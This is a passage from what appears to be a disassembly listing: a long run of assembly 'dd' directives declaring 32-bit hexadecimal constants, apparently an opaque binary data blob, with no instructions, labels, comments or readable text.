0C88D78EEh, 0C0D7C40Bh, 75C0758Eh, 6C5FB2AEh dd 53F2E063h, 667D0043h, 5F81F1CAh, 2A547743h, 8B81E8FEh dd 37D77C7Ah, 0E92E66FFh, 5AA7BFBAh, 4F6635Ch, 0F23C1E6Ch dd 2F03ED6Eh, 42243F56h, 0FA3E0F88h, 0A8A67810h, 296889D5h dd 11B4B7B5h, 0D05EC028h, 0EF9C9DA4h, 8FE62F4Dh, 8B58AFB3h dd 0BA2FE019h, 3E0F2023h, 89960E42h, 0AC785F02h, 7EAB2328h dd 2F0A94EDh, 0F05A46E8h, 17748F3Fh, 0A45195C4h, 94C56E33h dd 507B5F38h, 0DAE9BD86h, 0E6FC13B0h, 35F018AFh, 0F9326EE3h dd 0F14888FFh, 94F84AF4h, 4A0D947Ah, 14AC6F9h, 45C4BF3Eh dd 98495DB4h, 67B7130Ah, 601EE073h, 1C1F0C68h, 87AD2B6h dd 873BF171h, 0E7DD6800h, 0B3AD1841h, 0B508DB49h, 262B1305h dd 942D369Dh, 0CC8229D3h, 9B8ECE0Fh, 56978B80h, 2B9BAD7h dd 0CAAB214h, 52B2480Eh, 6E92471Ch, 9AD50E13h, 0BE64C5D4h dd 1B2B6A1Bh, 91DE918Fh, 0F2A3FD05h, 0D16F248Ah, 2AC0D26Bh dd 0EC66AAF6h, 12C7420h, 383C7820h, 0DC4252C6h, 4C87C3A0h dd 0AD74D79Ah, 48F21146h, 0DF9B452Dh, 5476FDF0h, 1373A6BEh dd 0FD60D0BAh, 5491BC73h, 109BD80Fh, 0C4A3288Dh, 0B6860166h dd 149205F0h, 3A55DAF4h, 0C1F0A28Eh, 0F678FB79h, 0D8F84607h dd 83E4377Eh, 9BB9AA9Eh, 0FBBA298Fh, 0C155AD1Ch, 0DC77424Eh dd 0A9E11BD0h, 0E07B72DFh, 0A549DB02h, 0F8E31434h, 41E2AD7Ch dd 0AD181DCCh, 2BBCACCFh, 7D3270FCh, 7EFE5AE7h, 61DD9455h dd 0AF7915BEh, 0EA21CF3Dh, 52BF4DF0h, 40D5116Bh, 0CD6DD116h dd 0E687086Ch, 0F174A2EDh, 51FF2DB7h, 475667ADh, 1E8370FBh dd 6EAF27EFh, 3C7F164h, 0BFB5D66Dh, 0F83C08DAh, 83C54AD9h dd 0ADF0A9A4h, 0D51B448Fh, 0B1B6F8BBh, 0DDA6E7E1h, 0BDB9040Eh dd 5670B94Ah, 34D8ECBh, 8833F602h, 1AA38336h, 3E1A02BCh dd 9C125C29h, 4246B9BFh, 7E9DA287h, 9CF02C92h, 9579809Ah dd 52A6985Fh, 0C97E47FAh, 8B968B0Bh, 84514822h, 796ACABCh dd 0EF6EAAADh, 1A979B72h, 0DDF01297h, 0B43421ACh, 84236E0Eh dd 0BA055AECh, 87DF832Eh, 0F0CFF8C0h, 5B9C769Bh, 265386E3h dd 0BCC62430h, 0DEA17E76h, 0DB693DF6h, 3C39501Bh, 0FD27202Bh dd 7DFEA568h, 0B1E1FA60h, 3B8E93E7h, 30BCD71Eh, 29743F01h dd 4A72B3Ah, 4A8FAA66h, 0F24307F5h, 84E2FDD8h, 0DAAFB371h dd 0BC779801h, 0F8F5AE37h, 16899FF2h, 970B5C48h, 6EB1942Ch dd 66906F70h, 0D7E589Ch, 0EDA254A9h, 0B4DDD96Dh, 6B03E2DEh dd 0E6A8C4BEh, 0EAE0F409h, 5BCE9360h, 0A66A7EFAh, 3AB2F9A3h dd 3B012638h, 0E1982CB1h, 7EF01C6Ah, 0BB345463h, 1D3597CAh dd 0D2D0EDABh, 0A13CA64Ah, 159D9945h, 383E681h, 6267D81Eh dd 3EEFBBF6h, 0FAAD1573h, 4D3D425Eh, 3F27B6CAh, 1411535Eh dd 9BF2EE3h, 503CBADh, 0AFF3F05Dh, 3691F90Ah, 0B27CF736h dd 0D6F2DDCh, 4DBCB736h, 0A72BF584h, 7D1D4CEh, 4F4D5979h dd 70349603h, 4DC1E3B8h, 915D3156h, 8A8EDF51h, 347F3B4Bh dd 4D523922h, 2FF2DB4Dh, 0A1F217F9h, 119C6DB9h, 52BE993Eh dd 0F97E1D5Ah, 8F3FC401h, 0F4D9AEA8h, 797C3440h, 4F2AC6FEh dd 0E08BECC7h, 0D4563367h, 0F259AD1Ch, 784CAD7Eh, 6CAA7741h dd 0CCFD3FC2h, 0D52D280h, 0AFABC2ACh, 0A3796718h, 1EBC06A1h dd 1C5F836Eh, 9596AAC6h, 56A2258Ch, 0AA365D25h, 0B8CA28EAh dd 7817B94Fh, 0D7A889DDh, 0E1D45689h, 0EDAFE411h, 7A368029h dd 5188029Bh, 82B51DEDh, 0C7DA20B4h, 0B985697Eh, 3222735Fh dd 8EE0BF0Bh, 3DA429B5h, 8194AD55h, 0C65B32FCh, 0CC74EC23h dd 0DF7EEAC2h, 684E1D5Ch, 3C0BB968h, 406D18ADh, 4293CDB0h dd 0DF3FC4C5h, 0B421EC19h, 0C99F7407h, 6FB6273Ch, 253725FBh dd 350AA509h, 7892B8FAh, 0E67E8856h, 0CFED1A0Ah, 0FB098AE8h dd 0CF6E8F5h, 269939C9h, 9A48CA4h, 0DD6493Fh, 73982EABh dd 83C685B7h, 1A2A9646h, 0B171B7Bh, 0B12D15C7h, 4566E25Dh dd 0F0F2895Fh, 0A223A5D6h, 0EDE342F3h, 8BE2D75Bh, 0A0975A37h dd 58D2FC0Ch, 0A57E91F4h, 4AED0DC5h, 0B8C360FFh, 4D66567Eh dd 8B9DA976h, 0D9E078DCh, 7D8F66ACh, 0B30E6869h, 50FC7E26h dd 14E9528Ah, 5FA97Ah, 5CCD9259h, 0A8CB8217h, 0DBB759C0h dd 0F5B6D52Ah, 6F79CFAAh, 0D59D7513h, 0EFEE1D1Bh, 0B3D4D6C5h dd 94FA4F55h, 47824A0Bh, 0BEC56D71h, 0B5F85FBCh, 0F73D5BCh dd 59989F35h, 582580F7h, 6BE65324h, 93D797E5h, 5B59F96h dd 836B05C5h, 0A38F1C71h, 0C0DC1DDCh, 6E312B64h, 92F7BC6h dd 7148862Eh, 6CD3D19Bh, 0AC32A168h, 0FA512D35h, 0B751F8A4h dd 624E3ED5h, 64AF76FAh, 68A6E272h, 73E71580h, 0F675CFF5h dd 1D2C52D0h, 2B89355Bh, 760B487Eh, 230DE218h, 3CBA8DD8h dd 0DC2DC2B8h, 3A7CF82h, 6ACD96ACh, 0BF008B5Dh, 0D082295Bh dd 6A2DBE98h, 0CA3E647Eh, 6F11AC09h, 4F27D97Eh, 4A965114h dd 5D4A2C20h, 107EE928h, 0FE5B1464h, 6FCD6F12h, 0F8775469h dd 0EF5ED45Fh, 0C2B8F81Fh, 91E768D7h, 0EAE04470h, 0ED1E3E74h dd 0C6AF81EAh, 0EABC1DD9h, 24EF8212h, 3FECA2B6h, 24DB0A6Ah dd 240973FCh, 0A96368F6h, 8BDE0F99h, 0F67CD824h, 517A65D1h dd 4C639FEAh, 50E0F0Eh, 16D206DAh, 0BF7189A5h, 8890D4C1h dd 527F0914h, 8CE5595Ch, 8C695F1Bh, 9F197089h, 4BAC0A67h dd 0C07BA402h, 9E32C5A0h, 10421AA4h, 0B32AD4EDh, 0C2B5DA09h dd 0EAA0D897h, 76E8A95h, 40A86D7Ah, 13178448h, 8039E1E4h dd 323E5B98h, 0F58F9B51h, 0B445B712h, 89984070h, 663B6F46h dd 3BC1F38Ah, 58FEBD45h, 2D48BE07h, 0E3919B42h, 9534EBB9h dd 278EAD5Dh, 61F87EAh, 49C3A227h, 0FDE0FA37h, 0BBFF96E2h dd 0CBF15459h, 0B8754086h, 0F7041673h, 3AAE4D37h, 4A60EE4Ch dd 4AE2033Ch, 0CEA5E66Bh, 23ED295Ah, 5FEBD01Fh, 22B02D86h dd 0CF60E705h, 0B166E085h, 1D4BA2BBh, 0EA119051h, 0E4F52A61h dd 1905141h, 0B57CD46Eh, 9E841E24h, 3146AC6Dh, 871303E2h dd 0F950A7AAh, 87B7654Bh, 84AF28CFh, 6281A0B2h, 0A9956E3Eh dd 1878500Eh, 0F99C753Ah, 0D7246E3Fh, 0B2D162BAh, 6B264B78h dd 5FD70CECh, 978667D8h, 0ADEE2EE6h, 38F27704h, 68A7078Ah dd 0E16DBE58h, 0C0F5D4B2h, 87FAAB15h, 852593CCh, 52C52466h dd 3F169A2Ch, 2D3E9EE8h dd 7868A620h, 2BB4A22Ah, 4839548Eh, 0A64D7173h, 9CE4EDCBh dd 5ACB5D24h, 0FCC84230h, 778FA3ADh, 915BF413h, 3E7286E3h dd 60214B4Ch, 0CCACD81h, 6AE85FB5h, 0C168C912h, 0BF7ADD6Ch dd 836324EAh, 73C6E279h, 0E9EEC0E2h, 0D20038B8h, 0E84D1281h dd 7F399E2Bh, 0C3BD4B51h, 5CE2226Ah, 98774362h, 0A331A3C0h dd 0A133E6ACh, 8D5A2479h, 0FC6746CDh, 0F87D9AA5h, 860FED73h dd 723A5FC8h, 55A283ECh, 0A9E304F3h, 0E7ADBE73h, 0D0F1FE6Ah dd 8527D0FCh, 4FAB0C36h, 7C5D8C4Fh, 0A203BFA2h, 0F0FC65D9h dd 0DEFD0386h, 0BED44C0Ah, 35536BA0h, 94E34747h, 1552C30Fh dd 7DF830AAh, 94897A02h, 0D4708162h, 7B884303h, 0DB9D9B80h dd 0C54BF965h, 3CAC22B6h, 0BDFBD882h, 0E7EAC416h, 0FB7EAA80h dd 650E368Dh, 98E9E079h, 170A9506h, 0C65FD057h, 0BB15A317h dd 0F07BF591h, 891B5117h, 9BB62767h, 3E2D4ADh, 182AF792h dd 0B8E7DDBDh, 0B8A9549Ch, 1E444313h, 5CC6F15h, 61B6B764h dd 2AA033A2h, 9EE1780Dh, 445C6DA8h, 501FCE10h, 116B1838h dd 7E37351Fh, 7F9ADB03h, 0F0E45CB8h, 646ACA89h, 11436B25h dd 23C9A727h, 81555B76h, 0B6CFB03Fh, 0DE54F6FFh, 6E02DE1Eh dd 0B44FB334h, 7B45534Ah, 0B19B6DB2h, 0D03529C2h, 9C259442h dd 0AB37B7B6h, 0B931E02Ah, 0F2325ABEh, 2E105ABEh, 443F1F61h dd 5F3A0E0Fh, 2146B07h, 3943623h, 1476FEBAh, 1578DF6Bh dd 83EB7186h, 0CE1BC5FCh, 2B0B689Fh, 3AEB6498h, 4AAFFBCEh dd 1591FB44h, 3EB22E78h, 5C82F644h, 0E36A04A7h, 0E9EC5AF8h dd 0D6E762D1h, 60AD03DEh, 6EA8069Fh, 4C1DF7F8h, 0F0F19DB1h dd 0A21B3DC0h, 9E1718ADh, 86CD4734h, 0CCFDA91h, 15A29F9Dh dd 0FB9AADA5h, 0BA8A5609h, 542D460Ah, 9EDF308h, 2B945E8h dd 8B8D49B4h, 432E1E7Eh, 685F62E0h, 0A576EA9Fh, 0B981B95Ah dd 29BC4193h, 0B5784DD9h, 4E015ECEh, 5EA48118h, 7B15AD96h dd 9B47576Ch, 0AF938DCh, 4FFD8987h, 0E07F59B6h, 8C1CB04Dh dd 52DF40B6h, 0DEA6096Fh, 0A1181E5Eh, 5F1135FEh, 0F0494781h dd 36A798DDh, 45F5FABEh, 0ED42D1A2h, 0D2CD9C8Ah, 4DA4B941h dd 126B6342h, 0BC631156h, 0A100E545h, 0E5D6E7F0h, 76717460h dd 89BF62BEh, 0FC6BC42Fh, 0B91802D2h, 4AF6C27Dh, 0EC8A2685h dd 97165B43h, 9E6F52C5h, 8102FE62h, 0B69956A8h, 17D8767h dd 81EADCE6h, 0DD8FC17Fh, 56B37B9Bh, 96C0C123h, 0BDD1DA95h dd 680218DFh, 0C93BC0FCh, 685C393Fh, 0DA07D15Fh, 0B0106474h dd 16A5177Bh, 0D356B446h, 0AC0D9EDEh, 4F6A9E26h, 6FB534Bh dd 77B57E61h, 74B8971h, 15F0FA9h, 63D4DB7Ch, 303C7BC7h dd 0D23399C5h, 0B5D053D5h, 754383C5h, 69B4A9CFh, 5F09AB3Fh dd 1ADB9C42h, 0D1D0B789h, 1E3BFB0Fh, 0C4E75C07h, 236FB685h dd 7B2A3238h, 7F8CCEA9h, 0B72B2FDh, 616D1FDCh, 0C04BFB7Dh dd 4D705228h, 0A834C1D3h, 8EC7BADCh, 13F06502h, 42B53420h dd 6BCB35D7h, 0F40E1625h, 6926C563h, 10F05AC2h, 778F06B1h dd 0D3DFC6ABh, 0FD136B8Ah, 0A78BEF3Ch, 660B2DDFh, 34D4C8A1h dd 835C6C22h, 290971B2h, 59E52DD9h, 0AC0FDA73h, 92DCF870h dd 0AB1BA60Bh, 5E0BF68Eh, 0E7F0AE20h, 0C2CC0392h, 0D6C35C67h dd 951EC0FAh, 32FE5E84h, 446B7C48h, 62E707FBh, 0D188DEBAh dd 607F144Eh, 0DCFB6935h, 5BEFC2BEh, 0FE670ADFh, 96F7A90Fh dd 0C35CE48Bh, 0A4DB5778h, 459F1ED3h, 92AA445Bh, 97C294DFh dd 72D129B5h, 15474656h, 0EE30B7B8h, 5AE45A57h, 0B53B4559h dd 48075D7Fh, 8303F2DCh, 0C0BE9485h, 0EA8025FEh, 185599D2h dd 0EF31C0F0h, 0B5F42EA4h, 0D9C6C00Eh, 795493FCh, 1A0DAB33h dd 0B2195039h, 0F5D65611h, 0CAAC6F27h, 0BB4672FEh, 0CDD3D6D8h dd 4A98D478h, 2D4D4699h, 0C8AA8386h, 0E2189747h, 0BC5FAD98h dd 2FD0E15Fh, 2D0A04A6h, 7FD0A878h, 8053F18Eh, 0A8527652h dd 0ABDA39DCh, 0D87795Dh, 2A074A0Bh, 23E4C3FCh, 0D6BCB0C6h dd 1E9FAE90h, 369B3F91h, 1F8D7CBFh, 8A9D64A9h, 555DAD68h dd 20B76AECh, 0F9C85BE1h, 35BCC5C4h, 0CB9137A6h, 0FE37A363h dd 322F1456h, 8A368EF6h, 0AF9D87A2h, 0FD4B9B68h, 14FA38B5h dd 4B16401Bh, 71B5752Fh, 0C9CCA908h, 5BE59D77h, 0C2E07CDEh dd 2FB553B0h, 5FFD608Dh, 0FC1D2E6Dh, 64961705h, 572213D1h dd 4FEC1F7h, 65FE1409h, 0B70F72B1h, 0B8DB17BDh, 0D6B6B476h dd 15CBD0h, 0B0BEB01Dh, 0D8E3D543h, 2CA9FEB7h, 1C0D669Ah dd 0FB68A6CEh, 162E6F35h, 303E094h, 0D32F9750h, 0F098F0B5h dd 0BD71DCAAh, 78A4F385h, 6F66D069h, 5BE4D37Ah, 8B5FD621h dd 20F61E2Dh, 3A07FD02h, 0F7C9F1Ch, 0E205F1A6h, 88EE2B46h dd 0AAD4CD44h, 0EBA3611Bh, 21ADB910h, 1AD4CA1Eh, 0A8008710h dd 0AB0F5FCBh, 9BD3549Dh, 4C0AA0F1h, 15B252D9h, 3D51FC0Fh dd 0D755379Eh, 0F0A57D5Ah, 901CF672h, 2DC467A0h, 4A6C36B7h dd 274EC03Eh, 7317E9C4h, 5974E6BAh, 2B83B713h, 0C8BF4AB5h dd 40044147h, 0FD5D4B15h, 38015E1Ch, 7EAF50C0h, 0F7E614ACh dd 0DEE5CD3Ah, 2ED747B7h, 778DA84Ah, 0FBB68BAFh, 2DA45B64h dd 6787C1E4h, 47312F3Eh, 2014700Dh, 8FB656F8h, 0D3E9EE9Ah dd 80D7D546h, 0F0ADDC2Ah, 0EC52A6FCh, 3137EE1Fh, 0ED43814Ch dd 0E268762Fh, 1574C42h, 8795EC48h, 21F89E15h, 45EFD1F9h dd 6E1E2E82h, 5F19F255h, 8A2C6DDEh, 33AC77A5h, 5CAC43DFh dd 45D4B64Bh, 149D50A1h, 177A29EAh, 85A2365Fh, 7FA05EFFh dd 28909E16h, 59DEA90Dh, 72277CC9h, 86740F3Eh, 95C81DC1h dd 461CB551h, 0D73E1174h, 8F6C7F5Dh, 0C0595AE2h, 0E05457BCh dd 4707AF54h, 0E4139D46h, 4312ABC1h, 88D6C972h, 53492C95h dd 0F13C8A2Ah, 9675A6CEh, 0AC383E98h, 0D87BC304h, 0A415C096h dd 0B76AAEF4h, 9E0928E9h, 0A290B95Fh, 678ED716h, 17F6A2BDh dd 1AE75B8Dh, 21F2927Dh, 3AB38E0Fh, 9FA76ADh, 0D78FF3CFh dd 4868B4F2h, 0FF7A5776h, 0A2555EDEh, 1478B20h, 0CE5A2756h dd 1EAEA81Bh, 3CD5AA3Dh, 62AE5FEDh, 48A96AE0h, 6E405675h dd 5126CE9Ch, 46B667B0h, 3C29564Eh, 3D5C7169h, 94502A4Eh dd 1C50FC25h, 7C2E2A0h, 0AAD892B1h, 327CE9BCh, 7A2FB208h dd 455ECB47h, 2590065Fh, 266DC771h, 779558A5h, 2314871h dd 0D6C870D4h, 0E37B44Fh, 4C5D19Bh, 3F96E170h, 0D1FE34FAh dd 57AC2B8h, 0C6A73644h, 0C174F9DAh, 47BFA1A6h, 0DC56ADD7h dd 2DCD5AD1h, 368F6C25h, 2EA3E90Ch, 0C0FBAD91h, 0CEB690B9h dd 0AAAB6C1Bh, 276F96D1h, 5A4512B9h, 72C1AADDh, 87C323BDh dd 8E818527h, 0DD67EBAFh, 0B48A69B9h, 2390C8Ch, 236837F1h dd 35E75B9Bh, 0A6AFBCA6h, 8AD6B2A0h, 759F016Fh, 37F3EFD5h dd 5E629F33h, 54EECA30h, 0FD599BE4h, 557DBA8h, 8F692E7Ah dd 0CB7A1E2Eh, 7178BF64h, 0BF2B0DD7h, 81749AA0h, 0A8CB6C6Ah dd 5EA623BAh, 0B7C5C775h, 972C09CCh, 672261C0h, 15DD5D09h dd 2B3F821Fh, 81BF2C8Fh, 2E7E5CE9h, 0B6E3F1D0h, 0E37DD7D9h dd 0AB2808DDh, 0ED0ABE04h, 0B2A615D7h, 0B1566BA2h, 3D75DD25h dd 0CCE7B89Fh, 616A0979h, 4C2B04D2h, 0D84CE64Eh, 0AE9BC982h dd 8F9C7E47h, 0C071DBF1h, 6D19F766h, 26F86DA2h, 61EDCBEBh dd 0E04DDE73h, 3C297CADh, 0E176E053h, 7DFE685Ah, 0BE0BA803h dd 364FC43Fh, 147912Ah, 0D6F7B1ECh, 20117A5Eh, 5E1C3F07h dd 75F98122h, 0E93C9C2Dh dd 8CB34B09h, 56C8CCEAh, 0FC0B7045h, 0BF0EA1h, 0C8EE0EE6h dd 715E1C6Eh, 0AAFC4D55h, 0E8A02BE3h, 0A9FDF816h, 0CB791C70h dd 16E26EEAh, 3012CBD2h, 37AF8CD0h, 24739D7Dh, 0ADDA0B76h dd 1A61AC1Fh, 0DDECFAA3h, 97C96BEh, 0B6D5BBE5h, 4082F6Dh dd 0D491D335h, 2F0E3D3Fh, 0A2B2AFCFh, 0EC155148h, 9BD7F5B6h dd 130FC64Eh, 0D83C707h, 9303C0F7h, 0F01F9FA7h, 0BB0FE923h dd 12CF4B9Ah, 0F03FF1F0h, 683E1B3Fh, 0BF5B0BFBh, 6F94C3E2h dd 0F83E8433h, 981031CDh, 0FF7EFD37h, 79846982h, 3D93CCF7h dd 52A92CFBh, 7417D8BCh, 8575F12Bh, 59077940h, 9BA48FABh dd 0F4B9781Ch, 0FE8E747Eh, 2515046Fh, 2DA1AD89h, 6EBB7512h dd 50C4BD74h, 22E49470h, 4CFCABA9h, 8A5DE1CCh, 84B1217Dh dd 0C862FAD8h, 1E84D6D3h, 405054E5h, 459E09BFh, 356C0FAEh dd 617ADCEBh, 4BF2FE56h, 639182FFh, 0BBEEE38Fh, 8B061C9Dh dd 3140DA3Eh, 8DF1E5FDh, 0F8B4D275h, 353792A5h, 0D0C09DDBh dd 97C7D14Bh, 0F1E9B0D8h, 86E9BAEAh, 0BDA30573h, 5089B491h dd 0AAFAFD5Fh, 98EBA39Ch, 7666A58Bh, 0EAB5727Bh, 12CE6C54h dd 9D318B9Eh, 24EF9E95h, 0F32D5E78h, 0C669E4EBh, 6B727ED5h dd 0FA4BB6DEh, 5542E9Dh, 82458B53h, 6B5E7E4Ch, 0C05281A8h dd 38479DCDh, 6659A85Dh, 9A8C011Bh, 0DC89FC1Ah, 6EBE6DDCh dd 0ED5391D6h, 5F69BCD5h, 0CD383E18h, 0CCED6EDBh, 0B16CC1F0h dd 250E5C86h, 8A7D2D1Ah, 1C035237h, 0EB5903E6h, 0BD4B44DDh dd 345088F1h, 96CB8977h, 0C55232BCh, 0C273968Bh, 0CC02AF1h dd 5555F8D4h, 0EBBA67B6h, 0A4E636B1h, 0FA0207CAh, 3EBDD351h dd 0BB6A1B9Fh, 99F19ED1h, 38A7C95Ch, 1015688Eh, 0CA386768h dd 0EC368F6Dh, 9046FE31h, 13794D00h, 15F2F58Eh, 0AD288A17h dd 1938FD53h, 0B2F54559h, 9129A25Eh, 231F3E01h, 9C0F8613h dd 8A9F2FC5h, 959BA12Bh, 0E44CF807h, 68AA7E1Eh, 2D4DFA9h dd 0BE934180h, 51EA6AE4h, 9CC3F1D7h, 385ABC78h, 8BE8B2C0h dd 0A3A4ED29h, 2298242h, 0E56DE497h, 9B1ACC07h, 3FACB721h dd 0CE778BAAh, 0DCD6D1F5h, 0B48E7FC3h, 60A558B2h, 0F13DCD97h dd 37DFBFE0h, 97942AB1h, 2A95A301h, 36E9E697h, 4CD0F94Fh dd 346A03EAh, 96CF28B3h, 2FBF0957h, 1DB303A8h, 758B52D1h dd 45C207DFh, 6E84A461h, 0C7552FEEh, 29FDFC8Fh, 0F37D58A9h dd 39773E0Fh, 9E05F7E3h, 0C87FB9ECh, 0D01CEAA1h, 0EE685EFEh dd 0A44A9882h, 0B4B5D977h, 0A0AB7465h, 42C26228h, 3813B5CFh dd 0BF022AF4h, 0A9E58CFh, 78717CEh, 0A5A598E0h, 4D53A71Ah dd 9B9AB9F2h, 5A363CF1h, 0A73DC17Ah, 0B258AA33h, 0C8826260h dd 0B90C0AB1h, 1367EF6Eh, 0B8E05406h, 7B36A140h, 5259EE88h dd 0A07B019Dh, 0E8E1BEFCh, 155E2B81h, 87413AB4h, 74DDA59Ah dd 0A318768Ah, 4E649E1Fh, 84D278D4h, 0B26ADE19h, 76C6A1F8h dd 8EFAA770h, 0AD0A5001h, 93412F5Dh, 0B8D4B6BFh, 0C4959AE0h dd 0BC8F9CBBh, 5DA2EF5Eh, 9FD11F1Ch, 0AD4BA968h, 28849EC9h dd 86078D1Bh, 0E9CB74EAh, 91ACEF4Fh, 0ADAA5CA2h, 0AEF07015h dd 0C979978Dh, 6B461617h, 0C5EB5617h, 0AB4398FCh, 197F0754h dd 0DC8ED2F4h, 4578C2BAh, 1EDFCC93h, 0C32A462Dh, 28DCDEECh dd 0ED7467B7h, 4FE041EDh, 0BE025E82h, 37898FA9h, 8C7AA7F3h dd 2E7B5516h, 0A99827FFh, 0A60EC3D5h, 7BECF2D6h, 5A267716h dd 0E26DFC60h, 1508FE10h, 74F36563h, 0F95E6152h, 0D99087E2h dd 0B5740554h, 0C64B9D3Dh, 0B6536D81h, 0E9CDB95Ah, 0F0816FAh dd 0A7C359BEh, 82215331h, 83D6C585h, 0FF0D665Fh, 0CD79DA1Bh dd 32753C7h, 4AB17487h, 0E2723597h, 0A7C3A6ABh, 56AF52CCh dd 0F557D852h, 0A51C552Dh, 70206AD3h, 0E6C64E3Dh, 2D1ACF6Bh dd 109B411Fh, 0AF46FD5Fh, 0C0FBF87Ch, 0E2FDE583h, 0C5F94F37h dd 59B6A437h, 13611DF2h, 0C7DA9DADh, 14DECF77h, 4AB36DEh dd 0CA93AA61h, 27A31307h, 0B16F1549h, 97F086Fh, 9D957F0Ah dd 0E3D0541Fh, 3F4C16D7h, 0BA07A319h, 3288A36Ah, 2C0D6045h dd 0E46B8ED2h, 0F4A35962h, 0A89F8E0Fh, 81731ACEh, 0C07EFD00h dd 0A8276340h, 0AE0A5675h, 769FE065h, 0B5CB1799h, 65D6ADE5h dd 0DEFF21FBh, 72219902h, 4AF6B049h, 8FE75503h, 170FC19Dh dd 0C3FDE18h, 0B80A456Ah, 0B265FE4Dh, 4D0F25F2h, 0B52BA2A9h dd 3DF22C78h, 0DC1D5E2Fh, 0D14FE1FAh, 0E79F48CAh, 0C289EC8Ah dd 0AED8646Fh, 3B72D920h, 569DD8FFh, 97F45379h, 324F8A9Eh dd 64D6C3D7h, 0D3DA2D6Fh, 0D9AD8ADDh, 0A97E4A64h, 8B838D50h dd 0E609D7C1h, 7ED6B6F6h, 5E0F2E35h, 81EBCD8Bh, 5F2945FDh dd 0A4E71A4Bh, 282265Ah, 86AB685Ch, 0F85BF82Dh, 0B5A2DDA7h dd 123C8FF3h, 0EF6A55A8h, 8812F329h, 8B5E684Dh, 3D5703D5h dd 0B3C7F378h, 302DB4F1h, 7ED40FC4h, 41A90E57h, 0BD077A6Fh dd 94F24A0Eh, 1E7D81E1h, 96B7E130h, 6E280275h, 0C492AAF1h dd 8D04860h, 2C30CBC5h, 240FF0B8h, 1F3FC1C9h, 0F75B3DB3h dd 514DD4C2h, 9580E5D4h, 6D176916h, 0DA0F5975h, 0EA68A6D6h dd 43F291BCh, 0ACD76D70h, 0AA96DD87h, 85B204A1h, 5368A5ADh dd 0B61F8BA1h, 68FED45Fh, 0C0D6FD3Bh, 16CB9BC9h, 0C1776E13h dd 1DCE50C9h, 0ADD2A02Ch, 0E12B4598h, 1E474295h, 3EB128CEh dd 5AEE28DEh, 7FD3B839h, 4932C80Ah, 0AEC0D3AFh, 7BE3BA54h dd 0A68AF2FCh, 50938A17h, 0ABA6BFDDh, 2443FDEDh, 57076B14h dd 321F8CB7h, 0D35AD2FEh, 0E07CB6E9h, 8FC38D33h, 0EAE70D1Ch dd 8FC6FAEEh, 0F0CDD13Eh, 1DBC0B22h, 5FEF300Ah, 0FE216EB5h dd 3666366Eh, 6FB70656h, 9E6376F6h, 69E96900h, 3042E848h dd 4CF8188Ah, 2FEF1401h, 80E3E6D0h, 0A5BBD72Ch, 76406E8Dh dd 0AB56FDB2h, 1B5B97E1h, 23348A62h, 86C4192Bh, 0DD85F82Dh dd 1570BA76h, 2CB43557h, 29DAA46Fh, 0B4E6CDB7h, 59852B4Ah dd 90A9CA75h, 9F9AA76Dh, 0D69F3CFh, 0B60F01C1h, 0E446A27Ch dd 0A5623EC9h, 49D1BABEh, 851A09D7h, 0F7C9BD54h, 0E4245B3Eh dd 0CE652F59h, 7537287Eh, 0D88C054Ch, 56E0F815h, 186DDC4Dh dd 7D2ECA52h, 8817875Fh, 17CC6B8Bh, 0FC79D39Ch, 64395F3Ch dd 2987AB75h, 977D3405h, 0F29DBF70h, 0A7C54AB1h, 0A6713058h dd 2CF84E06h, 3174A597h, 6416BBC9h, 0B87689E7h, 0FBBBDBADh dd 4CE2BC27h, 42DB9561h, 0ACFC9C38h, 3DAEA5F3h, 9CD82348h dd 372B24D8h, 88F7D66Eh, 0E3BB85FAh, 0AF1FC704h, 0B448DD2Dh dd 0DB99B337h, 0A477AA9Ah, 0F92C6843h, 53E43B85h, 87E365BDh dd 3830BFh, 25D99BE3h, 0BF11A3ECh, 0CB47E6E1h, 2FC8D870h dd 0EA168B2Dh, 0C31F2351h, 2AC75C7Dh, 0E7D0859Ah, 29A7A77Ch dd 0A1E0E3E4h, 0F7340292h, 0FA9A376Ah, 0AC2293Ch, 8223566Dh dd 0E731DF0Bh, 817E9EAh, 0D019D9Bh, 0B2A8ECD6h, 6EDE1E31h dd 0C1F545D6h, 43E47FEh, 0D84B4AC4h, 0C5BEE7EEh, 0B525BEC6h dd 36A2C756h, 7E6CC454h, 0A49638FFh, 2BB7DEECh, 2B57D3Ah dd 57CB256Ah, 1F88E2C2h, 0DFE5C53Eh, 9E9DC55Eh, 713A5DA7h dd 0EE9FC303h, 0C8C35A22h, 734C3AF9h, 0A96D24D8h, 0B8870797h dd 190DABA3h, 0C7F0F4ACh, 4CBA74Ah, 9DB71593h, 0CFC9015Eh dd 3C312A8Eh, 0C0572F0Ah, 912294A7h, 56FB06C9h, 0A83E6AABh dd 94232A5Bh, 84FEBE6Dh, 28187724h, 17B5D4A7h, 15252CCDh dd 95A78953h, 0B33B66EFh, 49557E52h, 0BE5AD2D6h, 3E9EB01Ah dd 5ABFD81Fh, 7D0A47AEh dd 0F8AA1D24h, 112EC6ADh, 0A8ADEA9Bh, 0E967B807h, 25EAB68Dh dd 63982990h, 70B151F5h, 854F175Ah, 15BA9E82h, 299E8A95h dd 0EE2AE2EBh, 5A36F625h, 20DADF9Ah, 0C0F5AAF4h, 0EC545B77h dd 0FBA916B4h, 36B25EA1h, 0F8288AA5h, 79879BE7h, 783E65E5h dd 9B11D4C0h, 0FE38DB98h, 7AAD0F61h, 0EC15E771h, 0C73014E5h dd 7447CFC5h, 703DA86h, 0E93A861Eh, 0C0AB3EF7h, 6D2720BDh dd 25185BF7h, 0DD91BA64h, 55A527F2h, 0C363015Ah, 96D9D370h dd 0BEEFE07h, 0A76789E9h, 0EEA23D63h, 77E402BFh, 2846B266h dd 0CE602D53h, 85D03D81h, 531F0B46h, 0BC7203FBh, 897C51FCh dd 0A4772D92h, 0D02DB97Dh, 0AAF68C04h, 8A250D5Dh, 4A3BF158h dd 0E0F1D716h, 6A8D9F03h, 0E5F0F4B9h, 56187E0Eh, 0D7051019h dd 79FE1C22h, 765D783h, 2F96198Bh, 0F82CF770h, 7910D571h dd 0AEDB71A1h, 66DC7BB4h, 3C3B47CFh, 2AEED64Dh, 0A70CCEE7h dd 0F16C62A4h, 5EA3395Bh, 0DBA630D4h, 6F84A6D1h, 50B8E628h dd 6FDE642Fh, 0F52AE21h, 5EB7F781h, 7B21167Fh, 2C6DEADDh dd 8D898270h, 79F0B056h, 0C22F8929h, 8A59D888h, 0B539B45Ch dd 66458B4Ch, 7B319D4Ch, 5A96870Eh, 0E3309440h, 0D2DFF54Dh dd 0CCDF5881h, 0B854E9DCh, 0A3242A92h, 0EB7F8FD3h, 1CF05CF3h dd 97D99076h, 